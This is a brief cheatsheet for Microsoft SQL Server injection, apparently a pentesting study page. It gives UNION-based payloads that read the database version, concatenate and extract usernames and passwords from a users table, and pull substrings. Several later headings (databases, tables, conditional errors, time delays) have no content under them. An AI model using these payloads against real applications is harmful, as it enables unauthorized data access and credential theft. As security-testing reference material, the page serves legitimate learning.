Basic Microsoft SQL injection Cheatsheet
Microsoft SQL Injection (MS SQLi)
Retrieving Database version
SELECT @@versionUNION SQLi Context
' UNION SELECT NULL, @@version -- -Note: In UNION Statement we have to match the number of columns of first select statement so that's why we use one NULL in the payload.
String Concatenation
'string1'+'string2'SELECT username+password FROM users;In a UNION SQLi Context
' UNION SELECT NULL,username+":"+password,NULL FROM users -- -Substring
SELECT SUBSTRING(password,2,1) FROM users In the UNION SQLi context
' UNION SELECT SUBSTRING(password,2,1) FROM users -- -Comments
Database Contents
List All Databases
In UNION MS SQLi
List All Tables
In a UNION MS SQLi context
List All Columns
In UNION MS SQLi
Conditional Errors
In UNION MS SQLi
Time delays
Conditional Time delays
In UNION MS SQLi
Last updated
Was this helpful?